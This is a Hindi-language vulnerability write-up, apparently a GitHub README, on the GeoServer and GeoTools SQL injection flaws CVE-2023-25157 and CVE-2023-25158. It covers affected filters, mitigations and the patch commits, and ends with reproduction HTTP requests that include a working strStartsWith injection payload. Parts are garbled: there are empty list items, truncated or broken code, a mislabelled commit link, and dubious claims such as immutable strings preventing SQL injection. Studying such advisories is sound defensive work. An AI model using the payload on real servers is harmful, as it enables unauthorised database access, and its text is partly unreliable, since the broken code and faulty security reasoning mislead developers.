
GeoServer और GeoTools SQL इंजेक्शन (CVE-2023-25157 और CVE-2023-25158)
इस रिपॉजिटरी में GeoServer प्लेटफ़ॉर्म और GeoTools लाइब्रेरी में पाई गई SQL Injection भेद्यताओं का विस्तृत विवरण और पुनरुत्पादन चरण शामिल हैं। इस भेद्यता को GeoServer के लिए पहचानकर्ता CVE-2023-25157 और GeoTools के लिए CVE-2023-25158 सौंपा गया है।
GeoServer Java में लिखा गया एक ओपन-सोर्स सॉफ़्टवेयर सर्वर है जो भू-स्थानिक (geospatial) डेटा देखने, संपादित करने और साझा करने की क्षमता प्रदान करता है। इसे भौगोलिक सूचना प्रणाली (GIS) डेटाबेस, वेब-आधारित डेटा और व्यक्तिगत डेटासेट जैसे विभिन्न स्रोतों से भू-स्थानिक डेटा वितरित करने के लिए एक लचीला, कुशल समाधान के रूप में डिज़ाइन किया गया है।
GeoServer डेटा साझाकरण के लिए Open Geospatial Consortium (OGC) मानकों का पालन करता है, जिनमें Web Feature Service (WFS), Web Map Service (WMS), और Web Coverage Service (WCS) शामिल हैं। मानकों का यह पालन इस बात को सुनिश्चित करता है कि GeoServer से डेटा का उपयोग विभिन्न प्रकार के अनुप्रयोगों में किया जा सकता है, जैसे कस्टम-निर्मित GIS सॉफ़्टवेयर से लेकर रेडी-मेड समाधान तक।
GeoServer मुख्य रूप से Spring Framework पर निर्मित है, हालाँकि यह कई अन्य लाइब्रेरी और फ्रेमवर्क का भी उपयोग करता है, जिनमें शामिल हैं:
GeoTools: एक ओपन-सोर्स Java लाइब्रेरी जो भू-स्थानिक डेटा के लिए उपकरण प्रदान करती है। GeoServer अपनी कई मुख्य कार्यक्षमताओं, जैसे डेटा पढ़ने, लिखने और रूपांतरण के लिए GeoTools का उपयोग करता है।प्रश्नगत भेद्यताएँ Open Geospatial Consortium (OGC) मानकों द्वारा परिभाषित फ़िल्टर और फ़ंक्शन अभिव्यक्तियों में गहराई से अंतर्निहित हैं। ये अभिव्यक्तियाँ भू-स्थानिक डेटा क्वेरी और हेरफेर की रीढ़ हैं, जो GeoServer और GeoTools जैसी प्रणालियों की कार्यक्षमता में महत्वपूर्ण भूमिका निभाती हैं।
जब इन भेद्यताओं का शोषण किया जाता है, तो वे गंभीर सुरक्षा उल्लंघनों का कारण बन सकती हैं। सूचना का अनधिकृत प्रकटीकरण एक प्राथमिक चिंता है, क्योंकि हमलावर डेटाबेस में संग्रहीत संवेदनशील डेटा तक पहुँच प्राप्त कर सकते हैं। अनधिकृत संशोधन एक और संभावित परिणाम है, जिसमें हमलावर अपने लाभ के लिए डेटा में हेरफेर करने में सक्षम होते हैं। इसके अलावा, ये भेद्यताएँ सेवा में व्यवधान को भी सुगम बना सकती हैं, जिसमें एक सफल शोषण संभवतः सेवा की अनुपलब्धता का कारण बन सकता है।
निम्नलिखित प्रत्येक पहचानी गई भेद्यता का गहन विश्लेषण प्रदान करता है। प्रत्येक भेद्यता का विस्तार से अध्ययन किया गया है, जिसमें इसकी विशिष्ट विशेषताओं, इसकी अभिव्यक्ति की ओर ले जाने वाली स्थितियों और इसके शोषण के संभावित प्रभावों पर चर्चा की गई है। यहाँ GeoServer के लिए पाई गई भेद्यताओं का विस्तृत विवरण दिया गया है:
PropertyIsLike फ़िल्टर: यह भेद्यता तब मौजूद होती है जब PropertyIsLike फ़िल्टर का उपयोग किसी String फ़ील्ड के साथ किसी भी रिलेशनल डेटाबेस-आधारित Store, encode फ़ंक्शन सक्षम वाले PostGIS DataStore, या किसी इमेज मोज़ेक के साथ किया जाता है जिसका इंडेक्स रिलेशनल डेटाबेस में संग्रहीत होता है।strEndsWith फ़ंक्शन: यह भेद्यता तब उत्पन्न होती है जब strEndsWith फ़ंक्शन का उपयोग encode फ़ंक्शन सक्षम वाले PostGIS DataStore के साथ किया जाता है।strStartsWith फ़ंक्शन: यह भेद्यता तब पाई जाती है जब strStartsWith फ़ंक्शन का उपयोग encode फ़ंक्शन सक्षम वाले PostGIS DataStore के साथ किया जाता है।FeatureId फ़िल्टर: यह भेद्यता तब मौजूद होती है जब FeatureId फ़िल्टर का उपयोग किसी ऐसे डेटाबेस तालिका के साथ किया जाता है जिसमें String प्राथमिक कुंजी कॉलम हो और जब prepared statements अक्षम हों।jsonArrayContains फ़ंक्शन: यह भेद्यता तब पाई जाती है जब jsonArrayContains फ़ंक्शन का उपयोग String या JSON फ़ील्ड के साथ और PostGIS या Oracle DataStore के साथ किया जाता है (केवल GeoServer 2.22.0 और बाद के संस्करणों में)।DWithin फ़िल्टर: यह भेद्यता तब पता चलती है जब DWithin फ़िल्टर का उपयोग Oracle DataStore के साथ किया जाता है।और यहाँ GeoTools के लिए पाई गई भेद्यताओं का विस्तृत विवरण है:
PropertyIsLike फ़िल्टर:
strEndsWith फ़ंक्शन:
strStartsWith फ़ंक्शन:
FeatureId फ़िल्टर:
jsonArrayContains फ़ंक्शन:
DWithin फ़िल्टर:
CVE-2023-25157 GeoServer SQL Injection भेद्यता से प्रभावित हैं।CVE-2023-25158 GeoTools SQL Injection भेद्यता से प्रभावित हैं।GeoServer SQL Injection (CVE-2023-25157) और GeoTools SQL Injection (CVE-2023-25158) दोनों भेद्यताओं के लिए सलाह दी गई कार्रवाई संदर्भित संस्करणों या उससे ऊपर के संस्करणों में अपग्रेड करना है। यदि यह अपग्रेड पूरा हो चुका है, तो कोई अतिरिक्त कदम आवश्यक नहीं है। हालाँकि, उन लोगों के लिए जिन्हें शीघ्रता से अपग्रेड करना चुनौतीपूर्ण लग सकता है, Geo टीम ने नीचे कुछ वैकल्पिक समाधान प्रदान किए हैं।
strEndsWith, strStartsWith भेद्यताओं को कम करने के लिए PostGIS Datastore की encode functions सेटिंग को अक्षम करना (like फ़िल्टर के लिए कोई शमन नहीं है, यदि प्रकाशित फीचर प्रकार में कोई string फ़ील्ड है)।
FeatureId भेद्यता को कम करने के लिए PostGIS DataStore की preparedStatements सेटिंग को सक्षम करना।```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- हमले की सतह को सीमित करने के लिए एक अच्छे अभ्यास के रूप में, कनेक्शन पूल के लिए उपयोग किए जाने वाले डेटाबेस खाते को न्यूनतम आवश्यक विशेषाधिकार स्तर देना महत्वपूर्ण है (जैसे, केवल-पठन जब तक कि WFS-T/importer/REST granule harvesting का उपयोग न किया जाए, उत्पादन उपयोग के लिए आवश्यक केवल schemas और tables तक सीमित पहुंच)
- `PropertyIsLike` फ़िल्टर के लिए कोई मिटिगेशन उपलब्ध नहीं है, आप अपग्रेड करने में सक्षम होने तक डेटाबेस DataStores को अक्षम करना चुन सकते हैं।
- Oracle DataStore के साथ `DWithin` के लिए कोई मिटिगेशन उपलब्ध नहीं है, आप अपग्रेड करने में सक्षम होने तक Oracle DataStores को अक्षम करना चुन सकते हैं।
### <b>पैच विश्लेषण: GitHub इश्यू और संबंधित कमिट्स</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
नीचे GeoServer और GeoTools दोनों में पाई गई SQL Injection कमजोरियों से संबंधित कई प्रासंगिक JIRA इश्यूज़ के लिंक दिए गए हैं। ये लिंक इन विशेष कमजोरियों से संबंधित महत्वपूर्ण डेटा, चर्चाओं और प्रस्तावित समाधानों तक पहुंच प्रदान करते हैं।
- [GEOS-10842: JDBCConfig: SQL क्वेरीज़ में उपयोगकर्ता इनपुट को escape करें](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: SQL कमेंट्स और pretty-printing को अक्षम करने के लिए JDBC कॉन्फ़िगरेशन पैरामीटर जोड़ें](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: SQL क्वेरीज़ में उपयोगकर्ता इनपुट को escape करें](https://osgeo-org.atlassian.net/browse/GEOT-7302)
जब [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) कमिट को देखते हैं, तो निम्नलिखित परिवर्तन क्रमशः स्पष्ट रूप से देखे जा सकते हैं:
- [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java) में, एक प्रॉपर्टी फ़ील्ड जोड़ा गया है और इस प्रॉपर्टी फ़ील्ड को शामिल करने के लिए कंस्ट्रक्टरों में परिवर्तन किए गए हैं। यह डेटाबेस कॉन्फ़िगरेशन के अधिक अनुकूलन की अनुमति देता है, और संभावित रूप से उन्नत सुरक्षा उपायों को सक्षम बनाता है। [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) Spring Framework द्वारा प्रदान की गई एक क्लास है जो क्लासिक प्लेसहोल्डर ('?') तर्कों के बजाय नामित पैरामीटरों का उपयोग करके JDBC स्टेटमेंट प्रोग्रामिंग के लिए समर्थन जोड़ती है। कमिट में, `ConfigDatabase` कंस्ट्रक्टर को एक `DataSource` लेने और उससे एक `NamedParameterJdbcTemplate` बनाने के लिए अपडेट किया गया है। नामित पैरामीटर पठनीयता में सुधार करते हैं और SQL injection हमलों को भी रोक सकते हैं क्योंकि वे यह स्पष्ट करते हैं कि तर्क पैरामीटराइज़्ड है, SQL कमांड का हिस्सा नहीं है।
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
वास्तविक SQL इंजेक्शन भेद्यता को अधिक सुरक्षित SQL निर्माण और निष्पादन के माध्यम से ठीक किया गया प्रतीत होता है, विशेष रूप से स्ट्रिंग संयोजन के बजाय पैरामीटरयुक्त क्वेरी के उपयोग के माध्यम से, जैसा कि template.queryForObject कॉल में किए गए परिवर्तनों में देखा गया है। sql.toString() का उपयोग करने के बजाय, sql चर स्वयं, जो एक सुरक्षित रूप से निर्मित SQL स्टेटमेंट प्रतीत होता है।
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
- [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) में `sql` StringBuilder ऑब्जेक्ट को String ऑब्जेक्ट से प्रतिस्थापित किया गया है। यह परिवर्तन SQL Injection हमलों को रोकने में महत्वपूर्ण हो सकता है क्योंकि StringBuilder ऑब्जेक्ट, जो mutable होते हैं, SQL क्वेरी में अनजाने या दुर्भावनापूर्ण संशोधन की ओर ले जा सकते हैं। इसे String से प्रतिस्थापित करना, जो immutable है, ऐसे संशोधनों को रोकने में सहायता कर सकता है और इस प्रकार SQL Injection को रोक सकता है।
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
Dialect.java वर्ग में एक नई विधि escapeComment जोड़ी गई थी। यह विधि एक टिप्पणी स्ट्रिंग लेती है और उसमें संभावित रूप से खतरनाक वर्णों को एस्केप करती है। विशेष रूप से, यह SQL टिप्पणी के उद्घाटन और समापन वर्णों ('/*' और '*/') को एस्केप करती प्रतीत होती है, जिनका उपयोग कुछ SQL इंजेक्शन हमलों में किया जाता है।
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- SQL में टिप्पणियाँ जोड़ना: `appendComment` नामक एक नई विधि [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) क्लास में जोड़ी गई है ताकि SQL में ऑब्जेक्ट्स को टिप्पणी के रूप में संलग्न किया जा सके। यदि डिबग मोड सक्षम नहीं है, तो ये विधियाँ केवल मूल SQL लौटाती हैं। यदि डिबग मोड सक्षम है, तो वे प्रदान किए गए ऑब्जेक्ट्स की स्ट्रिंग प्रस्तुति को टिप्पणी के रूप में SQL में संलग्न करती हैं। टिप्पणियों को `escapeComment` विधि का उपयोग करके सुरक्षित रूप से एस्केप किया जाता है।
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
SQL में सशर्त रूप से स्ट्रिंग्स जोड़ना: Dialect क्लास में appendIfDebug विधि जोड़ी गई। यह विधि, डीबग मोड सक्षम है या नहीं, इसके आधार पर SQL में प्रदान की गई दो स्ट्रिंग्स में से एक को जोड़ती है। Dialect.java क्लास में एक debugMode फ़ील्ड जोड़ा गया है, और इसकी स्थिति बदलने के लिए एक setDebugMode() विधि प्रदान की गई है। इसके बाद इस डीबग मोड का उपयोग detect() विधि में किया जाता है।
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
जब [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) कमिट को देखते हैं, तो निम्नलिखित परिवर्तन क्रमशः स्पष्ट रूप से देखे जा सकते हैं:
- `escapeBackslash` फ़ील्ड का [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) क्लास में जोड़ना एक एहतियाती उपाय है, जो SQL इंजेक्शन के कुछ रूपों को रोकने के लिए है, जहाँ बैकस्लैश वर्ण का उपयोग SQL सिंटैक्स में विशेष वर्णों को एस्केप करने के लिए किया जाता है। स्ट्रिंग लिटरल्स में बैकस्लैश को एस्केप करने का विकल्प प्रदान करके, डेवलपर्स एप्लिकेशन को बैकस्लैश वर्णों को एस्केप वर्णों के बजाय सादे पाठ के रूप में मानने की अनुमति दे रहे हैं, जो बदले में SQL इंजेक्शन की संभावनाओं को सीमित कर सकता है
ये परिवर्तन यह सुनिश्चित करके SQL इंजेक्शन को रोकने के लिए मिलकर काम करते हैं कि स्ट्रिंग लिटरल्स में विशेष वर्ण (जैसे सिंगल और डबल कोट्स तथा बैकस्लैश) SQL क्वेरी में शामिल किए जाने से पहले ठीक से एस्केप किए जाएँ। यह SQL इंजेक्शन कमजोरियों को कम करने का एक सामान्य तरीका है। जब `escapeBackslash` को true पर सेट किया जाता है, तो [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) क्लास की [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) विधि को कॉल करने पर स्ट्रिंग लिटरल्स में बैकस्लैश एस्केप हो जाएँगे। यह विधि [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) क्लास में विभिन्न स्थानों पर स्ट्रिंग लिटरल्स को SQL क्वेरी में शामिल करने से पहले एस्केप करने के लिए उपयोग की जाती है। उदाहरण के लिए, [पंक्ति 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
एक ऐसा स्थान है जहाँ इस विधि को कॉल किया जाता है, और जहाँ escapeBackslash सेटिंग प्रभावी होगी। मूल कोड में, एप्लिकेशन मैन्युअल रूप से सिंगल कोट्स को दो सिंगल कोट्स से बदल देता था, जो SQL में सिंगल कोट्स को एस्केप करने का एक सामान्य तरीका है। यह महत्वपूर्ण है क्योंकि अनएस्केप्ड सिंगल कोट्स एक हमलावर को स्ट्रिंग लिटरल को समय से पहले समाप्त करने और अपने स्वयं के SQL कमांड जोड़ने की अनुमति दे सकते हैं, जिससे SQL इंजेक्शन भेद्यता उत्पन्न होती है।
संशोधित कोड में, सिंगल कोट्स को मैन्युअल रूप से बदलने के बजाय, एप्लिकेशन अब escapeLiteral() विधि को EscapeSql.java क्लास से कॉल करता है। यह विधि न केवल सिंगल कोट्स, बल्कि बैकस्लैश और संभावित रूप से इसके पैरामीटर के आधार पर डबल कोट्स को भी एस्केप करने के लिए डिज़ाइन की गई है:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
By doing this, the application is able to ensure that all special characters in the SQL string are properly escaped, which is a more robust and secure approach to preventing SQL injection.
- `convertToSQL92` विधि में परिवर्तन: `LikeFilterImpl.convertToSQL92` विधि एक पैटर्न को मानक SQL 'LIKE' सिंटैक्स से SQL-92 सिंटैक्स में परिवर्तित करती है। इस कमिट में, उन्होंने इस विधि में एक नया पैरामीटर जोड़ा। यह परिवर्तन [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) क्लास की [लाइन 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547) पर मौजूद विधि से है:```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
यह एक फ्लैग जोड़ता प्रतीत होता है जो संभवतः पैटर्न रूपांतरण प्रक्रिया को प्रभावित करता है। पहले, मेथड कॉल के अंत में false पैरामीटर शामिल नहीं था। यह false मान संभवतः इस बात से संबंधित है कि रूपांतरण प्रक्रिया के दौरान literal स्ट्रिंग में कुछ वर्णों को एस्केप किया जाता है या नहीं। एस्केपिंग यह सुनिश्चित करके SQL इंजेक्शन को रोकने में मदद कर सकती है कि literal स्ट्रिंग में विशेष वर्ण SQL सिंटैक्स के भाग के रूप में नहीं, बल्कि साधारण टेक्स्ट मानों के रूप में व्याख्यायित किए जाएँ।
out.write() को writeLiteral() से बदलना: out.write() को writeLiteral() से बदलना एक और प्रमुख परिवर्तन है। out.write() मेथड दिए गए स्ट्रिंग को बिना किसी अतिरिक्त प्रोसेसिंग या एस्केपिंग के, जैसा है वैसा ही आउटपुट स्ट्रीम में लिखता है। यदि स्ट्रिंग में कोई बिना एस्केप किया गया SQL सिंटैक्स है, तो यह संभावित रूप से SQL इंजेक्शन का कारण बन सकता है।```java
writeLiteral(pattern);दूसरी ओर, `writeLiteral()` संभवतः स्ट्रिंग को आउटपुट स्ट्रीम में लिखे जाने से पहले किसी प्रकार की एस्केपिंग या सैनिटाइज़िंग लागू करता है, जिससे SQL इंजेक्शन का जोखिम कम हो जाता है। यह परिवर्तन सीधे लिखने की क्रिया को `writeLiteral()` के कॉल से भी बदल देता है, जिसमें संभवतः SQL इंजेक्शन को रोकने के लिए सावधानियाँ शामिल हैं।```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
इन कमजोरियों का सही ढंग से शोषण करने के लिए, सबसे पहले निम्नलिखित प्राप्त करना आवश्यक है:
क्रमशः। इसलिए, उपलब्ध फीचर नाम प्राप्त करने के लिए निम्नलिखित अनुरोध लक्ष्य सर्वर को भेजा जाता है।``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

उपलब्ध फीचर नाम प्राप्त करने के बाद, हमें संबंधित उपलब्ध फीचर्स के लिए उपलब्ध प्रॉपर्टीज़ प्राप्त करने हेतु निम्नलिखित HTTP अनुरोध भेजना होगा।```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

ऊपर दिखाए गए दो HTTP अनुरोधों के बाद, हम सभी उपलब्ध फीचर नामों और इन फीचर नामों से संबद्ध प्रॉपर्टी नामों की गणना करते हैं। इस चरण के बाद, हम किसी भी प्राप्त की गई प्रॉपर्टी के लिए सर्वर पर SQL पेलोड इंजेक्ट किया हुआ दुर्भावनापूर्ण HTTP अनुरोध भेजकर शोषण प्रक्रिया को अंजाम दे सकते हैं।``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

### <b>निष्कर्ष</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
निष्कर्षतः, CVE-2023-25157 और CVE-2023-25158 द्वारा रेखांकित GeoServer और GeoTools में इन SQL इंजेक्शन भेद्यताओं की खोज, डिजिटल परिदृश्य में हमेशा मौजूद खतरों की एक कड़ी याद दिलाती है। कोर OGC फ़िल्टर और फ़ंक्शन एक्सप्रेशन के भीतर स्थित ये भेद्यताएँ, महत्वपूर्ण व्यवधान और अनधिकृत डेटा पहुँच या संशोधन का कारण बन सकती हैं।
इन भेद्यताओं के निवारण के बारे में अधिक जानकारी के लिए, कृपया निम्नलिखित संसाधनों पर जाएँ:
- भेद्यता को ठीक करने के लिए उपयोग किया गया कमिट: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- भेद्यता को ठीक करने के लिए उपयोग किया गया कमिट: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [GeoServer OGC फ़िल्टर SQL इंजेक्शन भेद्यता](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) और [GeoTools OGC फ़िल्टर SQL इंजेक्शन भेद्यता](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub सलाहकार डेटाबेस (GitHub द्वारा समीक्षित): GeoServer SQL इंजेक्शन](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [GeoServer सलाहकार डेटाबेस: GeoServer पर SQL इंजेक्शन](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) और [GeoTools सलाहकार डेटाबेस: GeoTools पर SQL इंजेक्शन](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [GeoServer के लिए NIST सलाह: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) और [GeoTools के लिए NIST सलाह: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [GeoServer के लिए MITRE सलाह: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) और [GeoTools के लिए MITRE सलाह: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)